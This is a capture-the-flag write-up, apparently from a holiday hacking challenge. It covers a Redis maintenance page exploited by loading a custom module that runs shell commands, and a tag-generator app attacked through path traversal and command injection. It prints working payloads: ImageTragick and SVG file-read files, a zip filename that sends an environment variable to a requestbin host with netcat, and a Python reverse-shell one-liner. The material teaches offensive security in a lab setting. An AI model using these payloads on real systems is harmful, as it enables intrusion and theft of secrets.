Hey, we recognize these messages from the Cranberry Pi challenge! So messages with CAN id 19B are for locking/unlocking, depending on the data. However, we also keep getting the following message with CAN id 19B:

{"Type":"CAN-D-bus","Message":"19B#0000000F2057"}

Now, that appears to be an incorrect message, so let's filter it out, with filter:

ID: 19B. Operator: Equals. Criterion: 0000000F2057.

Aaaaand...

Bingo, the sleigh is working again!

Objective 8:

Holly Evergreen's Cranberry Pi challenge

We need your help!!

The server stopped working, all that's left is the maintenance port.

To access it, run:

curl http://localhost/maintenance.php

We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?
player@cc495dc0187f:~$

Let's try and call the maintenance.php page:

player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php"


ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1

Alright, let's try with cmd=help:

player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=help"
Running: redis-cli --raw -a '<password censored>' 'help'

redis-cli 5.0.3
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit

To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc

The maintenance.php page seems to just be a wrapper around redis-cli. I first tried to escape from the single-quotes, but the page seems to properly escape special characters, such as single quotes or backslashes.

So, we must make use of the available commands in redis-cli. We can get information, such as defined Redis keys (commands and arguments are separated by commas):

player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=keys,*"
Running: redis-cli --raw -a '<password censored>' 'keys' '*'

example2
example1
player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=get,example1"
Running: redis-cli --raw -a '<password censored>' 'get' 'example1'

The site is in maintenance mode
player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=get,example2"
Running: redis-cli --raw -a '<password censored>' 'get' 'example2'

We think there's a bug in index.php

We can also get the current configuration, with config get *:

player@18aea30ee15b:~$ curl 'http://localhost/maintenance.php?cmd=config,get,*'
Running: redis-cli --raw -a '<password censored>' 'config' 'get' '*'

dbfilename
dump.rdb
requirepass
R3disp@ss
...

We can recover some fun stuff, but nothing that seems to help us in our quest! I took a deeper dive in Redis commands, and thought I had found my winning ticket with the EVAL command. It allows us to define a Lua script that will be executed by the Redis instance. However, for security reasons, the Lua interpreter only loads a subset of the Lua standard library. So no code execution, and no IO operations.

Fortunately, another command seems to allow us to execute arbitrary commands: MODULE LOAD. We can give the path to a dynamic library that will be loaded into the Redis process.

So, let's code a Redis module! I used this introduction to Redis modules and this Redis labs blog post on how to build a Redis module.

Here's the code I wrote, modified from the example in the intro to Redis modules. To keep it simple, I just copy the /var/www/html/index.php to our home folder, and change the owner so that we can open it. To do so, we'll only have to call the copyindex.perform command via redis-cli.

#include "redismodule.h"
#include <stdlib.h>

int CopyIndex_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc)
{
    system("cp /var/www/html/index.php /home/player/index.php");
    system("chown player:player /home/player/index.php");

    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc)
{
    if (RedisModule_Init(ctx,"copyindex",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR)
    {
        return REDISMODULE_ERR;
    }

    if (RedisModule_CreateCommand(ctx, "copyindex.perform", CopyIndex_RedisCommand, "fast random", 0, 0, 0) == REDISMODULE_ERR)
    {
        return REDISMODULE_ERR;
    }

    return REDISMODULE_OK;
}

I found the redismodule.h via a DuckDuckGo search, on this Github project.

Now, how did I find the path to the index.php? First of all, we saw that the index page was named index.php via the Redis key example2. How about the path? We can see that the webserver is Apache by sending a malformed request:

player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd= "
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

If we check the only enabled site configuration file, we can see that the webroot is under /var/www/html:

player@f5bd214e5c90:~$ grep DocumentRoot /etc/apache2/sites-enabled/000-default.conf
        DocumentRoot /var/www/html

Now, let's compile our module and load into Redis:

player@f5bd214e5c90:~$ gcc -fPIC -std=gnu99 -c -o module.o module.c
player@f5bd214e5c90:~$ ld -o module.so module.o -shared -Bsymbolic -lc
player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=module,load,/home/player/module.so"
Running: redis-cli --raw -a '<password censored>' 'module' 'load' '/home/player/module.so'

OK
player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=module,list"
Running: redis-cli --raw -a '<password censored>' 'module' 'list'

name
copyindex
ver
1

Our module was properly loaded. Let's call our method copyindex.perform:

player@f5bd214e5c90:~$ curl "http://localhost/maintenance.php?cmd=copyindex.perform"
^C
player@f5bd214e5c90:~$ ls -lh index.php
-rwx------ 1 player player 488 Dec 29 15:01 index.php
player@f5bd214e5c90:~$ cat index.php
<?php

# We found the bug!!
#
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
#

echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"
?>

The method hangs, and I have to stop the call with Ctrl+C. However, the code still worked, and we can get the content of index.php.

We can use the same trick to recover the content of maintenance.php:

<?php
$redis_password = "R3disp@ss";

if(!isset($_REQUEST['cmd']) || $_REQUEST['cmd'] == '') {
    die("\n\nERROR: 'cmd' argument required (use commas to separate commands); eg:\ncurl http://localhost/maintenance.php?cmd=help\ncurl http://localhost/maintenance.php?cmd=mget,example1\n\n");
}

# Pull apart the command, escape it, and put it back together
$cmd = implode(' ', array_map('escapeshellarg', explode(',', $_REQUEST['cmd'])));

if(strpos($cmd, 'scan') !== false) {
  die("'scan' is not allowed");
}

if(strpos($cmd, 'requirepass') !== false) {
  die("'requirepass' is not allowed");
}

$cmd = "redis-cli --raw -a '$redis_password' $cmd";

echo "Running: " . str_replace($redis_password, '<password censored>', $cmd) . "\n\n";

$result = shell_exec($cmd);

echo $result;
?>

Broken Tag Generator

Ooooooh boy. Each year, there's a least one objective where I go down a rabbit hole that I can't get out of, even if the answer was smacking me in the face. This year, it's the Broken Tag Generator.

The Tag Generator can be used to generate gift tags:

You can select a template, add cliparts, text labels, and even upload you own images. The goal is to recover the value of the GREETZ environment variable.

All the dead ends, yay!

As usual, I'll detail every dead end I took, to explain my thought process. If you just want the right solution, you can just skip to the next section.

Obviously, the interesting functionality is the upload, because it can lead to all sorts of trouble. So I started by uploading a text file:

POST /upload HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26271296542925243330575575204
Content-Length: 228
Origin: https://tag-generator.kringlecastle.com
Connection: close
Referer: https://tag-generator.kringlecastle.com/

-----------------------------26271296542925243330575575204
Content-Disposition: form-data; name="my_file[]"; filename="test.txt"
Content-Type: text/plain

test

-----------------------------26271296542925243330575575204--

HTTP/1.1 501 Not Implemented
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 13:48:05 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 129
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201230-1-1ghfubj.txt</p>

Several interesting things:

The application seems to be coded in Ruby. We can guess that from the /app/lib/app.rb file.
The web server is an nginx 1.14.2, which is the version of nginx in Debian Buster, the latest Debian stable version.

This means that any old Ruby, or Ruby on Rails, vulnerabilities shouldn't work. I still tried some, like the Dynamic Render File Upload and the Rails Doubletap RCE, but to no avail.

I then tried to upload valid image files, such as the SANS logo:

POST /upload HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------217713438141946588972652502718
Content-Length: 2143
Origin: https://tag-generator.kringlecastle.com
Connection: close
Referer: https://tag-generator.kringlecastle.com/

-----------------------------217713438141946588972652502718
Content-Disposition: form-data; name="my_file[]"; filename="sans_logo.png"
Content-Type: image/png

PNG[snip]

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 13:56:31 GMT
Content-Type: application/json
Content-Length: 44
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

["eba003cc-5221-454e-87d7-ffc484d29872.png"]

This time, we get a filename, that we can use to download the image:

GET /image?id=eba003cc-5221-454e-87d7-ffc484d29872.png HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 13:56:32 GMT
Content-Type: image/jpeg
Content-Length: 1705
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

PNG[snip]

The behaviour of this download functionality is strange. For example, if we had any number of leading forward slash, the file is still downloaded:

GET /image?id=////eba003cc-5221-454e-87d7-ffc484d29872.png HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 13:58:45 GMT
Content-Type: image/jpeg
Content-Length: 1705
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

PNG[snip]

Also, any text after a ; seems to be ignored:

GET /image?id=eba003cc-5221-454e-87d7-ffc484d29872.png;test HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 14:00:34 GMT
Content-Type: image/jpeg
Content-Length: 1705
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

PNG[snip]

All this behaviour points to an arbitrary file read. And that's exactly what it is! That's the right solution! But is that the trail I decided to folllow? Noooooo, of course not! Because I noticed that my original PNG file had been converted, from an interlaced PNG to a non-interlaced PNG:

$ file sans_logo.png eba003cc-5221-454e-87d7-ffc484d29872.png
sans_logo.png:                            PNG image data, 122 x 62, 8-bit colormap, interlaced
eba003cc-5221-454e-87d7-ffc484d29872.png: PNG image data, 122 x 62, 8-bit colormap, non-interlaced

I searched how an interlaced PNG is converted to a non-interlaced PNG, and found this StackOverflow post that says it can be done with ImageMagick. And then I could hear bells ringing in my head. I thought I'd hit the jackpot.

Couple of years ago, many vulnerabilities had been discovered in ImageMagick, allowing stuff from local file read, file deletion, SSRF, or even RCE.

Even if the Debian version was recent, I thought that maybe a vulnerable ImageMagick version had been installed on purpose.

So I tried the exploit.mvg example given in the ImageTragick website linked earlier:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://my_super_duper_domain.com/image.jpg";|ls "-la)'
pop graphic-context

I then tried to upload my exploit.mvg file, but got that message:

Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201230-1-hpltx4.mvg

Hmm, apparently our file is put in a temporary file with the same extension. And the .mvg does not seem to be supported. What about SVG files?

Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201230-1-snhqi4.svg

Nope, same error. But then, I noticed that the convert program from ImageMagick performs image identification, whatever the extension of the input file. So, if I create an SVG file with a .png extension, it should be accepted by the website, and still be treated as an SVG file by convert.

Let's upload a simple SVG file, with a .png extension:

POST /upload HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------4039698011180393282902452814
Content-Length: 423
Origin: https://tag-generator.kringlecastle.com
Connection: close
Referer: https://tag-generator.kringlecastle.com/

-----------------------------4039698011180393282902452814
Content-Disposition: form-data; name="my_file[]"; filename="red_circle_svg.png"
Content-Type: image/png

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<circle cx="100" cy="100" r="88" fill="none" stroke="#fd0000" stroke-width="15"/>
</svg>

-----------------------------4039698011180393282902452814--

And it worked:

So, we can force ImageMagick to process SVG files. SVG files are interesting because you can reference outside files that should be included in the final image, including text file. For example, the following SVG file will create an image with the content of /etc/passwd once converted:

<svg width="600" height="600" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
    <image href="text:/etc/passwd" height="500" width="500"/>
</svg>

Here's an example on my Kali virtual machine:

$ convert etc_passwd.svg etc_passwd.png

I submitted confidently my new payload on the server, and... nothing. The website rendered a white PNG file. I thought that maybe the server was running in a chroot-ed environment, and that it didn't have access to /etc/passwd. So I tried with other files, such as, /proc/self/environ, or the Ruby file we discovered earlier, /app/lib/app.rb, but nothing worked.

I then thought that maybe, an SVG file was not the best format to carry my payload. So I took a look at the different formats that ImageMagick supports to see if one would suit my plans better. There was the MVG we tried earlier, but also the MSL (or Magick Scripting Language) format, but nothing seemed to work...

I then found new attacks against ImageMagick, discovered by Alex Inführ, which can lead to remote code execution under special circumstances. However, these techniques were published in November 2020, and since KringleCon challenges are years in the making, it was pretty unlikely that this was the method the organizers had in mind (I tried anyway, but it didn't work).

After that, I decided that maybe the ImageMagick trail wasn't the one to follow. But, instead of backtracking to the local file include we mentioned earlier, I decided to search for yet another trail!

The tag generator is coded in JavaScript, in the https://tag-generator.kringlecastle.com/js/app.js file. By looking at the code, I saw that a sharing functionality was present, even if no share button was rendered in the application:

$('.shareBtn').click(() => {
  const dataURL = canvas.toDataURL({
    width: canvas.width,
    height: canvas.height,
    left: 0,
    top: 0,
    format: 'png',
  });
  $.ajax({
    type: 'POST',
    url: '/save',
    dataType: 'json',
    contentType: 'application/json',
    data: JSON.stringify({ dataURL }),
    success: (res, status) => {
      if (res.id) {
        window.location = `/share?id=${res.id}`;
      }
    }
  });
});

I thought I'd found my winning ticket again. So I forcefully called this functionality from the JavaScript console, and interacted with the two new endpoints, /save and /share. The first one sends a base64-encoded PNG file:

POST /save HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50668
Origin: https://tag-generator.kringlecastle.com
Connection: close
Referer: https://tag-generator.kringlecastle.com/

{"dataURL":"data:image/png;base64,iVBORw0KGgoAAAANSUhEU[snip]"}

The server responds with an id that we can use with the /share endpoint:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 11:10:27 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 49
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

{"id":"4a707baab164e15f58d7365c70a480e1d624b253"}

GET /share?id=4a707baab164e15f58d7365c70a480e1d624b253 HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 11:10:28 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 1479
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

<!DOCTYPE html>
<html>
[snip]
<body>
  <div class="parentElement">
    <img class="hero" src="/image?id=4a707baab164e15f58d7365c70a480e1d624b253.png" />
    <label for="copyUrl" class="share-label">Share URL: </label>
    <input class="copyUrl" value="%%currenturl%%" />
  </div>
  <script>
    const copyUrl = document.querySelector('.copyUrl');
    copyUrl.value = window.location;
  </script>
</body>
</html>

I tried several attacks on both these functionalities. For example, I tried to forcefully send an SVG file via the /save endpoint, but it didn't work. Then I tried a bunch of stuff with the /share endpoint, mainly dealing with the fact that the generated id for the image didn't have the same format as the one generated with /upload.

Anyway, nothing worked, and that's about where I gave up, and asked Holly Evergreen for help.

The right solution

Holly told me that if I managed to recover the source for the application, it would be easier to find vulnerabilities. I was like "Yeah, no kidding, Holly! I already tried to get the source code via ImageMagick." But then she said that maybe one of the functionalities could be exploited to do so, and that's when I rememberd the /image functionality that had such a strange behaviour.

It turns out that you can abuse /image to download any file:

GET /image?id=../etc/passwd HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 16:09:36 GMT
Content-Type: image/jpeg
Content-Length: 966
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000:,,,:/home/app:/bin/bash

Anywaaaaaay... Now that we can read any file, we can get the value for the environment variable GREETZ, for example by reading /proc/self/environ:

GET /image?id=../proc/self/environ HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 16:12:12 GMT
Content-Type: image/jpeg
Content-Length: 399
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app

We can see that GREETZ=JackFrostWasHere. And bam, we don't even have to read the source code to answer the question!

But let's do it anyway, because it's fun. So, with our vulnerability, we can read the /app/lib/app.rb file. You can download a copy of it here.

First, let's take a look at the vulnerable /image endpoint:

get '/image' do
  if !params['id']
    raise 'ID is missing!'
  end

  # Validation is boring! --Jack
  # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
  #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
  # end

  content_type 'image/jpeg'

  filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

  if File.exists?(filename)
    return File.read(filename)
  else
    return 404, "Image not found!"
  end
end

We can see that the file name validation was commented by Jack Frost. So our id parameter is used as is, which allows us to perform path traversal and read any file we want on the system (readable by the webserver of course).

Now, let's take a look at the /upload functionality:

post '/upload' do
  images = []
  images += process_files(params['my_file'].map { |p| p['tempfile'].path })
  images.sort!()
  images.uniq!()

  content_type :json
  images.to_json
end

The files are uploaded in a temporary folder, and are passed as an argument to process_files. The results are then sorted, duplicates are removed, and then everything is sent to the user. Let's keep digging, by looking at process_files:

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

process_files just calls process_file (singular) for every file in the list. So let's look at process_file:

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

First of all, we see that our website can manage .zip files. That's interesting! I did try to upload ZIP files to the server, but I sent them with a .png extension to fool ImageMagick (oh God).

Second, we can see that the server only accepts files with extensions .jpg, .jpeg, or .png. That's why our MVG, MSL, or SVG files were refused by the server.

Now, if the uploaded file is an image, handle_image is called:

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

The server does use convert to process the images. And what's this! It seems that the variable filename is used without any sanitization whatsoever before being used in system! Could this mean that we can execute arbitrary commands on the server? Well, not in this case, because, as you remember, our uploaded files are put in a temporary folder, under a name that is not under our control, so we can't put any funky characters to break the syntax and execute arbitrary commands (that is something I did try during black box mode).

But what about the ZIP files? They are processed with handle_zip:

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

Once again, Jack Frost has disabled the validation of the file names inside our ZIP file. That means that we have full control over the variable out_file before it's sent to process_file. Now we have a remote code execution vulnerability!

NB: we also have the possibility to overwrite any file. My first thought was to maybe overwrite the app.rb file with a malicious one where we could implement a webshell, but I didn't want to accidently screw up the challenge and leave it unavailable, so I took the safe route.

So, let's take a look at the syntax of the command we have to break out of:

convert -resize 800x600\> -quality 75 '$our_entry_point' 'blah_blah_we_dont_control_this'

So, we have to escape out of our enclosure of single quotes, and then maybe comment out the rest of the command. We also have to end our file name with an allowed extension, such as .png, or process_file will refuse to process it. What about our payload? Well, we want to exfiltrate the value of GREETZ so we can maybe do something like using DNSBin to get the value we want.

I first tried using nslookup, then host, but it didn't work. I used the file include vulnerability in /image to see if the binaries were on the system, but they didn't seem to be. So then I used the file include to read /var/log/dpkg.log, and I noticed that netcat-traditional was installed:

GET /image?id=../var/log/dpkg.log HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 12:50:08 GMT
Content-Type: image/jpeg
Content-Length: 172239
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

[snip]
2020-11-09 19:36:45 configure netcat-traditional:amd64 1.10-41.1 <none>
2020-11-09 19:36:45 status unpacked netcat-traditional:amd64 1.10-41.1
2020-11-09 19:36:45 status half-configured netcat-traditional:amd64 1.10-41.1
2020-11-09 19:36:45 status installed netcat-traditional:amd64 1.10-41.1
[snip]

So I decided to use netcat in my payload. Here's the name of the file:

test' `netcat $GREETZ.e44b0bd64a85d892c995.d.requestbin.net` # .png

It was created with the following command:

$ touch "test' "'`netcat $GREETZ.e44b0bd64a85d892c995.d.requestbin.net` # .png'

The single quote after test will allow us to escape of our syntax. I then used backticks to execute my payload. Finally, I commented out the rest of the command with #, and ended with .png to trick process_file.

Let's put our file in a ZIP and upload it:

$ zip payload.zip ./test\'\ \`netcat\ \$GREETZ.e44b0bd64a85d892c995.d.requestbin.net\`\ \#\ .png

Thank God for auto-completion. And after our upload:

Bingo! We get our desired value.

But you know what would be even cooler? Getting a shell on the server. So let's change our payload to get a reverse shell. You will need a server binding on a public IP address. I used Python for my payload (after checking that it was present on the server) but feel free to use anything. Here's my payload:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(($PUT_YOUR_IP_HERE,$PUT_YOUR_PORT_HERE));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\x2fbin\x2fsh","-i"]);'

You'll notice that I had to encode /bin/sh as \x2fbin\x2fsh. That's because you can't have forward slash in a file name on Linux.

Now, we can create our file, zip it, and upload it:

$ rm payload.zip
